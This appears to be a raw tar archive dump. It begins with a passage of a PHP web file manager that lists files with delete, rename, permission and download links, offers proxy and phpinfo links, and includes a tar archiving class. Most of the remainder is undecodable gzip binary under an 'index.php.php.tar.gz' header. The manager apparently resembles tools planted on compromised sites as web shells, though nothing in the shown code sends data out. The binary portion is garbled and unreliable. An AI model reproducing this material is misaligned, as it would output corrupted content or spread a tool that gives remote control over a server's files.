			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
sd<?php
    }
}
?>
</tbody>
</table>
<div class="row3">sd<?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


sd<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   index.php.php.tar.gz                                                                                0000644                 00000063112 15243251040 0010355 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             w#q Zz}c}kW͡MM&$] 
@
lk-Zɣ-ɲ=#KuYGI#zx_/_Ef	HvKZrYUm2hl(2h%Zb>^`v~;]nty}.|w'ey3j
P7yogӱ[έ(\4xe+Ƿ凗#,F?Aw^{o/W<1|/>^/;=C߿k.-,>G;WcO"_0->>}~|P޷?0y7y_>;|q-xV[~:]|pS'O^GP^.i?,? OXۋO.|3˿,߬B9_y(GN7חo7Go-~gś87+/@-X @~"`ym˯@o+?[~W>ۀⓀ[Ͽk4iO_]C ?WzYRo,2}i7Y8%@g\~t
SeA>e	?[h凖-?y,y=h&p8ڿ[=zPPHj-?_{On;/~x}p|2@l~6Gm嗀OZIo.:*4j7L(͒y嗖_[~e6{?x?3hś B竻^2\zq+ݺ?8d^Z[5I,UC;}{G-@̄^k7=4J9-O_}=DdNP}
_,9pѹ[~s-{ǹ@{ךxo#Go_#/>&zg^~g'ruo5^~}FA '0W/<yoJ7}@.twN}/@j|uw񖿳.؋P~	<[~PBZ~u|A#)[# !,zkOˏ.޼By?@N_4^\K@zlft`׋O>z[|o{z<sǗ_,?zꋙo?x~cLG'×|ۅ-;,p7@zG_\~y O|o{%TԚw4_?ŧ=wK	lKq@嫉_[|W˽YK`ru ?A_}n'ίA|ko;A.{}^,'?!z \o輪k,~jzI͟>1Յ`=Ov+goߍ?y5w@Y|hZT닷r!9{ms/_`q0G7/?ŷ@}Qxq<dh_uoN/k{W?@WQa
ŏt7); @?6xZ(Uԧ>{275lŗC!W
<Z|_'}/7t}O>}{apz{K/_p)+>X|#r[~v%|}ԝF,p^N71>mN_-?Dz?[B}f:]~|o/M+?Gۭkᄽ Cїj",>/߂$.>5Wˏ:7k--Z~53;˷۳sʟŷYБ-| g˿
Ҩ~s)߇Q]oRo^@|Ƽ]~;mx7 qeq|"~W_~zg\H_gġ7xz/GZ~cm{zr>Wa $['J~}G
~sJO~0\~n'o{H
'@mM)޳ a/_Z|qn?&Xo_~/k_Mn%S__oߏ^[5hɷ!o .Y~y٪KP`"|:|>5s9q>HeOT1T#Pcq^z lTV` 3A!kZ>CSt̮S}.(awohP{yxDYGGs- iAg[` w@KmTv vw.\)R(>G{}Jw-=KXKrC>YlNޣ,wgnڴp٧g5Ē]`<}/-"Kۤ{"K[brDA#0f"Z `']"Ǝa('ILW}m/{_$+I "2NsME(oJR02nYtl3u|KۧP"L. x+G Qt,ElRd$sd6e8C%Rz#RbRUTleV4bĦ$ce2H<U	I %*ZǐEDGz.	8*z.a<% Y+`uEɢ& $Ey]ڀ	/4HQ#_$F.kX~:[C5yiO4~IP	%bZD*bP&G\DTQ;+RRkX@hq@lm{$wPC)]ĢȘ P2&e$iX.DIݳ
OEtuԋ=,z&^G^`Xr i@,j@YVkD`k&5m%
|9`9-P(-^&X) &peTRB~̺
El&]oS+-R9	`=phPa0F2ࡄ}2lmZ I%Ϗѿ1-(V>*E1kETOiw)#e{Xn=qu./ww$f*Jz|J#}z!Q#E/*i+UYLBH\" B1ӛqwSA%X@4@6_bE4
|{hkHC@iNKGJMP&$PLOFKczm,4,Y.֩'F	p.3Tk)(c
[҈\Wu?c}hm%%*.3Oue1X:!;a]9}{HXfzHWTЉ\ULSi֯=65"]Я!֨GFTwBPy0w)qax2"]Э!tKʈq2i@@%'L)_ԡ!uF5`@L.q]pFБJdf!5)C;	xRO`'7u#XH7~ŉBdf#PA)DjROQS7&qo9/WymΧì6NP(@E}m JPG*+O(ad%>~'AJXP߱XhR0ANxMC+	2R$äM dz
"XN{R#Ԙ;-$+]9IJn*o_έZZ x6cڧ{-ֆTuĲ05KX[C&+#6 ޕFfL (t	RͦP	Etőj;1V-/J#\'&%ʔD$@l!`}'̊^dQw)Z}~B9nh^	l  ~lڦ޶b77Sۂ1i#n2<ẃJSoT
fOy=Wε^ߑ`˜'6n \Hl>Rfǋ.kro}TJ6ǁrT(?ẏxF#P%<&8YV
H5A sy;P>-c!Trqp|t#"Hޱtk3,Lbd{zYTOl)ν\M%jW"ӋR7@wkc7E|ckEkxeޞRMѬ\ѝ	Dx."R@ڟȇ<7ǨIq%Gh>>֩n"IM>AJ}C0bK,WTV; z̼0=cd<p@"'{+n/amE%Pkx	U\Ɓ~h_b(2 =e#>F$Jhf{5$	h;x^+!ɨk mM xJF"aQg+
Mʘk)H"Ph D |:G5Q4}ʾOI* A4]c ﮡ4\["PWk"o 0KP6WV,p?J<=6.Sķ)/GK"/H2eAiffE#̯Z,'NI 08rY	ϞMy}%{`9&yKUAM2?x&E޳'A7K~>+TjGdz>:Ӱ7Ev3~ÑEGd[Dv#BKf9E(q@wj- 4,w	g#(N,m3mDј.om>D[Jsq3Rooi'mS4F{}#ʹt|ܵ$5Ln#|}TEWCˣt}VۦPI[+|c83>Bǎ' Sȉp+&*s#1zu*zat#(o
G~-wFUЗr&g#YI<qkeUJeMՏ<)q@+{)X6dc ʮLQhc<kxBY}HyJhЪ
.=v)uxTQ8͜S@1"lpruMTY]-~/>n۠&iBZkEH7Lҏ		z'[8.ԝ\WmKon̫hsMGRoQv,aH\J-g96WP+c1+DN.GB#S%ɀr	uDG̣1Tr,;ƨ?8dٻo%E؄'%Mu76y=@><{FAp׋jwGK	C.ȦKדAdEbY,D\l6N0zmWťmcED7/Fr;Q.	3V!@E?3kf+ړS
$) (Wa`["S6 (CfVnQaU$#""gR2'q>1nԇi ko*"!LGEP,P>GUiiӦ
#bD.By㑱,e%	-@(UY+z@cP<]T<]BRkQ#R:t-ubdnf}j7*z0LwCZ޺<LtuAfF:RjrD=!
jtǱw_x{kD(E@'Pi<Tk|T\ LHxa㑕zVO* CrDzL!/Z*www;]vn< ;$;0]heb%ڨ92Ծ0e}$Iuυzl{Br@a2.U<QY~EfGÄ$&;KEe<@[S":4Z| ğAmbq`Tˁ2A(֠*QNyEVRV^,:~^QIaL)eёD*a58W 5GLHR7q`DCh	4gRMV۪&"pya_[\_-=95&}%#BwV(j3
3dHRۙRA(%uWHz(ĥ\m	EVԹr>LԬK׍ZF3ӘHJF UIT(gKg}3~xlppJ[G]Q+GV(5}d:o]j~A3b-]^F%s򭯓(Jj}fJ3E 'Hڧahyi夻s0U9P2-/TSuw?]b!dځQDAs$<CS7f$Ҝxy6Q**Bdʴ𶈒|4~n}|tt881@\kƊh\YrwCDx#4Fxۧ[]j$va̤:"MϖĞ vԂ zB'sE5R$Hy|GmMס7m#ι`mN޼q8U3w_
O6_0gApeI4,XOIX\0Pe~gsWZ9m'8;lg4%5F)$zf/nr˚Gkd{jÒ4R*eNo9FNw*m}ֳLՉnLTvHɶ;87کFlbYwν\e4=q_yEL3mz]V{.^HX4IZmvfKq!w\+N<['<sE1ipU]VvE_$~2k#y/	vQЙN)Z6PsX%3R &[rʛ]H%mT'3oj烳3ﺊxHIdye	Ygt{(tsD_fhjs ݢ[E +=Ĵ3\C/wףVzn;GVbfϭN]qyc&&6򐚎<ևg&^z~rA6"J#WrqDݚyWtv^R/+3]*1F<\j~b#!VJ	O	^)sghyrZX,%yE-ltJa̵[KOsi9p8)fnY4.-:lKymڙ9lZspqj#4ds8xYu1]#y /ޤ]t.w0:8mqjF;	OhO9}3ԫƎaOGM=w{BlXBBߚקg>g'"tZ1q9ѩg514GMm[JyYo3n09+E uX=I8'5:Ldm>G7gRHvq,i~^W܄TPY0h-Ymc{ms$R%&5V(tR6c GWP>Bcښrr Ө0M(Nak{f] Xx΢aiK@
{kXiz
ԸVL<G|1W>z\"{42oZN3r2ƈQto(@O&&P^ًm:3.zrOМ#P'mNl8bm-WhmmZVAw$>	-dD67l5smyk.10x!

(%׶[c`xU4$*#W7믡BEVef,WhzD?8[^+d!p5kc|F׿%t%ɣ>"$V4{UXD(uO§X4m`s34J0Z?m8DoځQ3΂7^6<N58'RU
V}>|	 <FgrD7eM#Th|6.Sd(K(uBZH^RUf$g"2LbG 1YWi#sYiHse}go)~~_ُ?[F)ҹX/Bi+7>{YJ%֣cSPVsLuDl0hK^=꤭)2Y^Ov*=$Z\3#^øpĨN
:*dx)t8dJ~2P`jsCr	ew4 ڜhHxyȋh9 4[(0}~vPu/VۉѪCsL+1CsdmD¢
ZKokEI#f'ØfF?@i-dHaJ
!6M* eTJ˄EW(.׊`
]ؑЏugȱ
zhYm< rkSþ@e}!ߠhm
ImbT)L,d*sxT,.iISԂn(_WoѸymJ7uYq)GqO\yؠnf{z=V0tawBcj`,>lTQmƇPuh2#8T)N3n\()sPHf%D,L,&XO(=HmMhї
J5J.UBPcj3M(l{lhC+hyldyUkk:O0\E8PkPQ;Z!C
%PR<pu]İ-W)Gߞ1\	
NUw0Ru54p`#|[Z߸xJmWCܾ9
W19ȇJ=T#VEkj\ZGq MriD90B7T|\n퀎NF9c(7W63yfU!mVbipl2d?fJv-eָTGGv&2DYx?g쟦EܬJ#kRd\E),чGZ2=jB;[AQvz#25Vɔ[uQwe!BdhV\oy?<&,_~{Lyڪ﫫Qx|{Зܩ+ԡN<T/#[Z(زh#cPBIqurspyȳa;ɘ`!+!L=uk
lݠr~%
JHb3;P|AQYj8Ѯj+CB$#T5iҍy&z-'Ot5íI4YYNYj1'm
i2  SW'Oq%nVٙOS*	:o65\ӳ)4U8^=Զr0?(H67CnJ<<+=LDRiX,;)]El4 |xbǭ NXhZJCO/olX<O9ϲ}uMq>z>=uซkKǖ3_';΀igUk1Ymxj	 !mۃX_g+Rܟe޵Rݣod:XsrC
4IJN`}P*KK፟}DxFF-Z&TUoUZoÄ?F6v&BD5;Vv1b9vuH)6iNy\BJ<U%S3YdCʃ?Ӥ<xv5;Ӡ ȑeLT.!C%H1Y|ŕR1ʁgN=xLPx֣II]ep&2GibFXYזZmVuЦǿ:I-Ăz{
L0""LNN
]KrMh&̜'3@1I W
Kǣ&o1x6_~	.FG|I~9̔:tͦe1ұ<+
q}^_/$RC0ÇmrpBͤ:nBwYQޫS'{Xv=NNާ8M1%IV
Ãee qqq_N2,JChJ>WjoS5t1L6%U!~ x#cAJ}Nn@w瞍| rH}o=$N;| ;i}7ucyi ȴ`Ae|}AOc5`^>p%|)6nG<Ƈ<W$4F;zeq(*^X[ϑ󏵖y{SB`+	,AfֳPO:֖DeAq(8=8DF@J(j<h<C+ nA%ïԹ	4">=k##x!`F5Gu,kأިW%cX2bFMLIXHMV;6kL1,)ZZ~Y
GĠ]}KДy&>)PnD0=wȭg:U#~Gkxo;lCEg/sst^s+*ipVsVX)8\9͕ArPzi\jYuJBeusk\GR)-6tP*Z8p8ȴ8+
>ŨCCk-m..#F{fp:RR0_($NHWCѹ
mk6<bt
t*
8
Nm07P$Pڻv2MoPH X8Yq&;h@
\Z+⡆䂵^(RС<ZV lD$'nIpɐ+
g",h{@㳴;/T!o߫(!Z?*<J
9AG"vn"19+vM~5VL[@kie2)wF}4u{~+c[eU)Z!<|A>(ن񞯕/ZV$B<K|˶zg#n:'NL#gJ}plzI(ewǞ#J4&^LsOK=-YOl}_r;"z9˖DԳn/Z')k^
1tQdY=w~Z@ Dnذ~Y6[iAOvz.^1!m!`K>
&`0f+cy ؞y0d|>t*r`(/NOZ	zʱll^4@ƎHNt.Ѥwwm,僳@X)l ʲVj]+x=Y(|xwOZ?(ţi3~Xo=m46D| `xG^<6+]p-W8W=M?BV&NiV9}2ɴ*y6RFS1-1TMwf+f´=9*~1Z@X4V%	yW)$ZPigI7܎f02	|ZU*hǓyӠd#YR3_?hbvaU|jl4%P ,~bvc\YN%k/a"ݓ`%CҖzqypִzVì.lc XQ{2]VI>Om.bz:b	kTn:u&0հ7.[CDhPN
t96D8
̰%d9n\҇BZN9a+Ry8p伎Td/{:3|͑N=U[;SaxĲ3NUZ!g*Zb\LUGx9N΋3!*Ν!DKL=lj/8.`..o.L|VdwZ-OှXC{S鑏fZ9Opj繋PeUW:]t=1V٢Xj|M4|[tbOm2LYäQ[4mɤԼOim>i$͚_Ӂ.ܕB~ԈrSd;1.vIuNWV;gJTuҾP	+Jd1:s1Or}+SsxM(/JC9Q$LG29˕ryCI#o=?2]W*7񅧒wkH;(Wi78>Xq5}8i[~48o;u_~3棬=<Fe>glGjg	(+gjv{:OݝYL&ukr ֦+>fF<`^ejwzm3:عY9/T6FX˩ظ)z95X]pa'^f"yˮMÎgYSV|ruyٖJCY,cgi[vص=ZR:ɜJ$鳞5j9GyrrNHEP(DYf
.=0(sn4ڞ~,9qSgveݞ	mb"}̻"^Ϫ@R%G9oa6ͻF7믌=.(HO,L'$;q,f=p!k6:&}$q13v&sV0HΚbcv	q\~Y[>-Hh{2nkX|g1۝3d1nr
|Dg<feT%SVܐog:<sڵuzMJ3?5h_&'$(ܰƗ<b+;iۼ%2UZqWg(ǜ&Ex]M8j<73=bg:eb=-Eyp8Cg*caFMgUg|2(墂w"ChVGhZ0EkOb-꩗-u܍LV]gGFlU:{?Zx@{V"w=8<2.a4ӉUaزI_gs:
r6_rNlH֘/kKqb/j羹V%(ӎZڔά+G#S8l!`'^ǕyW![:kgS6p3{:r;yͦ'Sm\:.
tL>=tI '@*Ryި]ͰgbF{8]s,v=k&b/T}g6rٚꍜM43لM̜Rk_~5ldxm-KhAi7bq\I}äl]q3ٚCE3*csqs^9/HX5zaWY:VW3v'LxZv%љ+qXRN˚)rl֕<6g\؝@ۼMʸ9͌jiBӶ:hSe<Kf1uCh~xfhO4}iص#OgnɆuJW:¶@yCpVu],Lhb8mDz|Y&T1"{?/b)GŔ5![$3fEgOѬde?uY-#x*P|;}!jzڧgaÍy[o}<v8!4kKn7aքZm	BZ
